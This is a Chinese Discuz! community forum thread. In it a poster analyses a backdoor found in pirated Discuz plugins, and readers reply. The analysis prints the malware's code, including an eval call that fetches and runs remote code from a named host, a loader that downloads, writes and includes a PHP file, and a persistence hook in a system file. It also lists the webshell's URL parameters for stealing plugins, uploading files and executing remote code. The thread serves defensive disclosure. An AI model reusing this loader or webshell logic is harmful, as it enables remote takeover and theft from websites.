久久久久av_欧美日韩一区二区在线_国产精品三区四区_日韩中字在线

Discuz! 官方交流社區

標題: 您認為你的網站還很安全嗎?風靡全網的Discuz盜版插件后門木馬你了解過嗎? [打印本頁]

作者: lovetvb    時間: 2023-3-29 14:04
標題: 您認為你的網站還很安全嗎?風靡全網的Discuz盜版插件后門木馬你了解過嗎?
在曝光這個后門木馬之前,我們考慮了很久要不要曝光,這個后門我們去年就已經發現了,而且第一時間公布到群里面!在群里的用戶可能很早都知道這個后門!
但是始終沒有曝光在網站內!原因是從這個后門的復雜程度來看,此人不簡單!我們不想惹!并不是我們怕!明著來我們不怕什么!
明槍易躲,暗箭難防!唯女子與小人為難養也!

正文開始:

這個后門樣本是最早發現在飛*房產(后門和插件作者無關,正版的無此后門)  后來我們又在用戶給我們提供的插件里面根據關鍵詞 發現很多都帶這個后門,
那么下面我們開始分析:本次樣本為 克*APP 3.51(后門和插件作者無關,正版的無此后門),因為距離第一次發現太久,那個樣本沒有了!
首先我們是在一個模板文件發現了異常(如圖)
(, 下載次數: 27)
  1. eval(dfsockopen($commen))
復制代碼

很明顯的一句話后門。但是整個文件就這一行代碼!沒有一句話應有的參數!而 $commen 這個變量也并未在這個文件賦值, 全文件找了下發下在下面這個文件有 $commen  變量的賦值
function_comiis_load.php

(, 下載次數: 37)
但是這個值經過了一系列“混淆”,我們一步步來撥開這個煙霧彈
  1. $title=dfsockopen($url);
復制代碼

這里有個遠程請求!那么我們把這個 $url 變量調試出來,先把代碼搬過來

(, 下載次數: 42)
調試得到 $url 的值為:
  1. ://94203.vip/20190305.png
復制代碼

這里已經是個正常的鏈接了,我們獲取這個文件的內容試試(也可以通過瀏覽器的下載功能直接下載這個圖片,然后通過記事本打開)

(, 下載次數: 32)
  1. moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
復制代碼

繼續對這串不知道什么玩意的內容進行整理(直接搬后門的代碼過來取值就是)

(, 下載次數: 40)
得到內容
  1. http://94203.vip/baiduseofn.xmlCopy
復制代碼

繼續往下調試,發現緊跟的這幾段是讓代碼看起來像一個正常代碼,其實并無實際用途!都是一些賦值然后其實并不會調用,也許后面會用到先放這里不做分析
  1. list(,,, $tagid, $type,$page ) = func_get_args();
  2.     $rewriterules=$_G['cache']['plugin']['comiis_app'];
  3.         $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];
  4.         $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
復制代碼

緊隨其后的是,翻譯出來看看是判斷什么 然后調用了什么文件!

(, 下載次數: 34)
因為 $tag 前面已經取了這個的值,我們直接調用,打印出內容看看

(, 下載次數: 28)
得到一個數組

(, 下載次數: 35)
  1. Array
  2. (
  3.     [0] => moqu8
  4.     [1] => abc
  5.     [2] => ://
  6.     [3] => .
  7.     [4] => /
  8.     [5] => [A-Z_].*[A-Z_]
  9.     [6] => echo "990";
  10.     [7] => ./config.php
  11.     [8] => 6692
  12.     [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml
  13.     [10] => `.*?`
  14.     [11] => 6692
  15.     [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml
  16.     [13] => ./baiduin.php
  17.     [14] => template/index.html
  18.     [15] => pic.png
  19. )
復制代碼

這樣就很容易翻譯那段代碼的意思得到結果為:
  1. if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
復制代碼

這句話翻譯成大白話的意思就是  如果 ./config.php 文件的大小 不等于 6692 字節  則引用 template/index.html 這個文件 注意到了嗎? template/index.html 這個文件正式我們一開始發現端倪的文件
現在插件是第一次運行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我們繼續調試!來到 template/index.html 這個文件
  1. eval(dfsockopen($commen))
復制代碼

這句代碼意思是 先讀取遠程鏈接返回的內容,然后執行! $commen  這個變量的值我們前面已經知道了 就是下面的內容 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內容)
  1. http://94203.vip/baiduseofn.xml
復制代碼

返回內容如下:
(, 下載次數: 35)
也就是說 即將執行的代碼就是這段代碼,復制下來 調試一波,順便美化一下,方便閱讀
  1. function content($svip)
  2. {
  3.     ini_set('max_execution_time', '0');
  4.     if (function_exists('file_get_contents')) {
  5.         $data = file_get_contents($svip);
  6.     } else {
  7.         $ch = curl_init();
  8.         $timeout = 5;
  9.         curl_setopt($ch, CURLOPT_URL, $svip);
  10.         curl_setopt($ch, CURLOPT_HEADER, 0);
  11.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  13.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  14.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  15.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  16.         $data = curl_exec($ch);
  17.         curl_close($ch);
  18.     }
  19.     return $data;
  20. }
  21. $svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);
  22. if (content($svip)) {
  23.     file_put_contents($tag[13], content($svip));
  24.     require_once $tag[13];
  25. }
復制代碼

因為代碼中依然用到了 $tag 變量,所以我們繼續放之前的調試文件調試,我們先來 取  $svip 這個變量對應的值,得到一個鏈接
  1. http://94203.vip/baiduseoff.xml
復制代碼

之前我們已經打印了 $tag 的內容  可以得到  $tag[13] 的內容就是 ./baiduin.php
繼續放下調試 翻譯出來的大白話意思就是 如果遠程訪問 上面的 的鏈接 返回的內容不是空的 則寫入 返回的內容到文件 ../baiduin.php 并且馬上引用這個文件
既然又要引用新文件,那么我們就得看看這個文件的內容了 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內容) 其實這里和前面一個步驟很像,
你也可以理解成是一層殼!得到一個比較大的文件了(如圖),有種預感,馬上要正式進入后門的領域了,前面一系列操作其實都是煙霧彈
(, 下載次數: 31)
內容太長就不粘貼出來了 感興趣的可以下載下面的附件(代碼為了方便閱讀,美化過,其實你也可以訪問下面的鏈接得到這個文件樣本)


其實這個文件是進行了簡單加密的。我們給他解密!因為是比較簡單的加密,而且我們這次的重點不是講解加密與解密。下面直接上圖解密,就不講解了
得到解密后的文件

(, 下載次數: 53)

調試木馬

我們調試這個文件,因為我不是 在dz環境調試的,但是這個文件用到了dz自帶的幾個函數 我們copy過來在調試

(, 下載次數: 23)
調試前先把已知的數據講解下

(, 下載次數: 17)
如果文件./web.php 存在 就刪除這個文件,前面的代碼都是構造變量,在這句之前用不到

(, 下載次數: 42)
這里的 $identifier 是插件的 標識,代碼因為是在插件里面運行的,所以這個變量是dz賦值的$plugin['identifier'],比如我們現在的樣本是 comiis_app 那么這個值就是  'comiis_app' 繼續調試

(, 下載次數: 43)
這里開始引用了上面的幾個變量,我們把變量輸出看看分別是什么

(, 下載次數: 26)
得到這2個變量分別是
  1. ./config.php
  2. http://94203.vip/index.txt
復制代碼

其實從這里開始感覺分析這個后門已經花了很長時間了,有點累,寫的都比較隨意了!可能大家都開始看不懂了,還是保持開始的狀態繼續寫!分析起來其實很快,主要是要寫,就慢了。 得到這2個變量的值,我們翻譯下上面那段邏輯代碼
  1. 如果 (文件./config.php不存在 且 遠程請求http://94203.vip/index.txt的內容不是空) {

  2.     遠程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";

  3.     寫入文件(./config.php, 遠程訪問http://94203.vip/index.txt返回的內容);

  4. } 或者如果 (文件./config.php字節大小 不等于 6692 且 遠程請求http://94203.vip/index.txt的內容不是空) {

  5.     寫入文件(./config.php, 遠程訪問http://94203.vip/index.txt返回的內容);

  6. } 或者如果(文件"插件目錄/log.txt"不存在 且  插件不是csdn123_news和csdn123com_toutiao) {

  7.     遠程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";

  8.     寫入文件(插件目錄/log.txt, 空的內容);


  9. }
復制代碼

不知道這樣的代碼結構 對于不懂PHP的 能不能看懂,懂PHP的直接看源代碼就可以。繼續調試下面的代碼

(, 下載次數: 43)
首先輸出這個變量 $deindex
得到 這個變量的值為 ./index.bak.php,我們繼續用上面的方式翻譯上面的這段邏輯代碼
  1. 如果 (文件./index.bak.php存在) {
  2.     刪除文件./index.bak.php;
  3. }
  4. 如果 (文件/source/function/function_ajax.php大小 不等于 14798) {
  5.    如果(遠程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的不是空內容 ){
  6.         寫到文件/source/function/function_ajax.php 內容是 遠程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的內容
  7.     }
  8. }
  9. 刪除文件./baiduin.php
復制代碼

到這里已經開始了 系統文件替換了,其實到這里基本上就結束了,看著是不是好像沒有什么大問題?只是替換了一個系統文件和寫了一個./config.php文件?
先別急著關閉頁面,因為下面才是重頭戲!我們繼續分析寫入的這2個文件 從 ./config.php 開始,這個文件寫入的是 http://94203.vip/index.txt 返回的內容 我們用瀏覽器打開 得到文件代碼如圖

(, 下載次數: 10)
去掉 用于混淆 讓人覺得是正常文件的內容 得到代碼

(, 下載次數: 49)
為什么那一段是沒用的?因為如果正常訪問 其實這就是dz自帶的 index.php文件復制過來的 后門控制者訪問時如果在鏈接后面加了 ?s=1 就會執行圖片上的代碼
翻譯出來的意思就是
  1. 執行代碼(  遠程請求 {域名}/baiduindex.xml 返回的內容 )
復制代碼

這里的域名 是通過GET參數獲取,也就是說 如果控制住域名忘記續費 根本沒有關系 比如 作者 通過這樣的形式訪問 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的內容是什么,因為是控制者在控制你網站時輸入的,所以從代碼上得不到這個文件!但是我們可以靠猜來試試,果然一猜就中,他用于木馬的域名就文中提到的1個。試了一下 就出來了
  1. 94203.vip/baiduindex.xml
復制代碼

得到內容(加密了,那就解密看看這個是個什么文件吧)

(, 下載次數: 33)
經過N層解密,得到文件

(, 下載次數: 28)
這里已經有獲取你網站安裝的插件操作的代碼的了!這個后門文件還有很多參數!等下我們繼續分析! 解密后的樣本和原版 在下面的附件 有興趣的可以研究下


下面繼續分析,這個木馬文件的所有參數(其實也累了,就不調試了,直接丟dz環境跑起來,然后把代碼有的參數一個個輸進去試) 忽然發現 404,原來作者還加了 指定瀏覽器功能,也就是說只有這個UA的瀏覽器才能訪問,我們刪除這段

(, 下載次數: 30)
木馬參數

參數1、  你的域名/config.php?s=1&domain=94203.vip&b=header&z=壓縮包名字 打包你網站 ./source/plugin  目錄  即打包插件目錄,然后下載,代碼見下面

(, 下載次數: 21)
參數2、  你的域名/config.php?s=2&domain=94203.vip 開頭涉及到一個插件 aljjyno 不知道干嘛用的,但是只知道有寫入文件的功能!也是遠程請求,但是這次我們通過前面方法猜域名,沒有猜出來!

(, 下載次數: 34)
緊隨的是 替換/config/config_global.php 網站配置文件(給你開啟開發者模式,這樣你安裝插件就不會自動刪除安裝包!不然作者每次打包走的都是沒有xml的插件估計也很難受) 接著就是鞏固一下后門

(, 下載次數: 37)
上面的代碼前面講過 就是判斷 ./config.php的大小是不是 6692 如果不是就重新生成,防止木馬被你清理或修改 然后 又鞏固了一下 /source/function/function_ajax.php 的地位 這個文件前面提到了,但是還沒有分析!等分析玩這個文件,我們繼續分析這個 在往下 就是 獲取你安裝了的插件,然后列出列表吧?如果弄了打包的參數 就開始打包下載
參數3、  你的域名/config.php?s=3&domain=94203.vip后面還要參數 不是很重要 這個就是 下載壓縮包用的,沒什么可以講解
參數4、  你的域名/config.php?s=4&domain=94203.vip 上傳文件到你網站任意位置的好像。

(, 下載次數: 37)
參數5、  你的域名/config.php?s=5&domain=94203.vip&do=1 作用:寫入文件

(, 下載次數: 42)
如果帶do參數 則寫入94203.vip/data.xml 的內容 瀏覽器訪問這個鏈接 得到的內容 是一個典型的PHP木馬。打包網站用的,導出數據庫啥的 如果沒有帶do參數 則寫入94203.vip/datatwo.xml 的內容 瀏覽器訪問這個鏈接 得到的內容 是一個文件在線管理功能。 2個樣本在下面壓縮包,感興趣的可以下載看看

參數6、  你的域名/config.php?s=6&domain=94203.vip 作用:執行遠程文件 94203.vip/ondata.xml

(, 下載次數: 23)
其實和 參數5的帶do參數功能一樣,可能是防止你服務器不能寫入文件時  直接用php執行用的。應該算是備用功能,感興趣的可以下載下面的附件研究

參數7、  你的域名/config.php?s=7&domain=94203.vip 作用:下載你網站非壓縮包文件(如直接下載PHP文件)

(, 下載次數: 39)
參數8、  你的域名/config.php?s=8&domain=94203.vip 作用:執行遠程代碼  94203.vip/tiquxml.xml
遠程鏈接返回內容如下
  1. @set_time_limit(0);
  2. @include_once './config/config_global.php';
復制代碼

(, 下載次數: 40)
從注釋看好像是提取XML的  到這里 這個文件的功能基本上分析完畢。你以為就這樣?

結尾

以上涉及到的代碼全部是遠程執行,
代碼后門作者可以隨時更改/更新/升級、等于是給你網站的后門免費提供了免費更新的功能 如果他給你來個全盤格式化的遠程代碼,你懵逼嗎?
如果他給你來個清空數據庫的代碼 你懵逼嗎?
分析到這里,我們回到前面提到的 /source/function/function_ajax.php文件 打開遠程獲取到的代碼 分析一波,已經不記得前面有沒有把這個文件的代碼貼出來了!
如果沒有,感興趣的同學就自己獲取一下!  因為這個文件是基于dz的系統文件修改的(注入),我們對比文件刪除dz原版代碼 得到如下代碼
(, 下載次數: 34)
也就是說上面的代碼是后門作者加進去的  其實這個文件也沒啥好分析的,
大概就是:這個文件因為dz需要經常調用,調用頻率非常的高  只要這個文件一被調用  就自動從遠程獲取內容94203.vip/index.xml 生成到文件/config.php  這個文件的代碼前面分析過。
大概想實現的目的就是防刪!如果你刪了,又會出來。就是你怎么刪也刪不掉/config.php這個文件,我給他定義為 “不死鳥”  基本上整個后門到這里就算分析完畢了!
其實目前來講這套木馬想查殺的話 有一套關鍵詞可以進行匹配!
但是我們這次目的是分析木馬!查殺的任務,還是得靠站長自己。
我們只能說這種木馬在全網傳播的很普遍!
從各個資源站到某寶等 都有這個木馬的影子!


作者: lovetvb    時間: 2023-3-29 14:05
提示: 該帖被管理員或版主屏蔽
作者: Discuz有償服務    時間: 2023-3-29 14:25
某趣吧盜版插件含后門,這是眾所周知的,你回帖貼的鏈接的網站也不是好鳥,一樣的,會盜取你網站的應用
作者: tuhemm    時間: 2023-3-29 23:31
提示: 作者被禁止或刪除 內容自動屏蔽
作者: pcyi    時間: 2023-3-31 08:22
雖然不懂但我大為震撼
作者: TaC    時間: 2023-3-31 10:30
雖沒看懂,感覺好歷害。現在已沒有幾個人能有這種耐心寫這么東西了
作者: gulaibai    時間: 2023-4-1 12:16
我曾經遇到過,他還加我Q,要錢錢,我拉黑后,直接就把我的數據盤格了
作者: false001    時間: 2023-4-1 17:11
樓主功力深厚,佩服佩服
作者: false001    時間: 2023-4-1 17:12
gulaibai 發表于 2023-4-1 12:16
我曾經遇到過,他還加我Q,要錢錢,我拉黑后,直接就把我的數據盤格了 ...

把那個人的QQ暴出來,讓大家都防著他點。
作者: xiaohuahua123    時間: 2023-4-1 17:41
雖沒看懂,感覺好震撼,那有沒有大佬寫個插件出來讓大伙查殺下,或許有些站長的站存在這個木馬后門也說不定。
作者: lei119    時間: 2024-7-2 11:31
這個還是要支持一下
作者: Horse    時間: 2024-7-2 12:27
測試測試
作者: yf3052    時間: 2024-7-2 13:46
從官方應用中心安裝的插件有這個風險沒?
作者: myboss    時間: 2024-7-9 09:59
哈哈,這么長篇大論的帖子難得。
學習了!
一句話,隱藏的真深,要是不用關鍵字eva估計更難發現它。
干站長,一定要會清除后門,其實也簡單去掉關鍵語句。
作者: myboss    時間: 2024-7-9 10:00
yf3052 發表于 2024-7-2 13:46
從官方應用中心安裝的插件有這個風險沒?

開發者有交保證金嘛?
作者: 你若安好那還得了    時間: 2024-7-28 23:35
看看是什么東西




歡迎光臨 Discuz! 官方交流社區 (http://www.9999xn.com/) Powered by Discuz! W1.0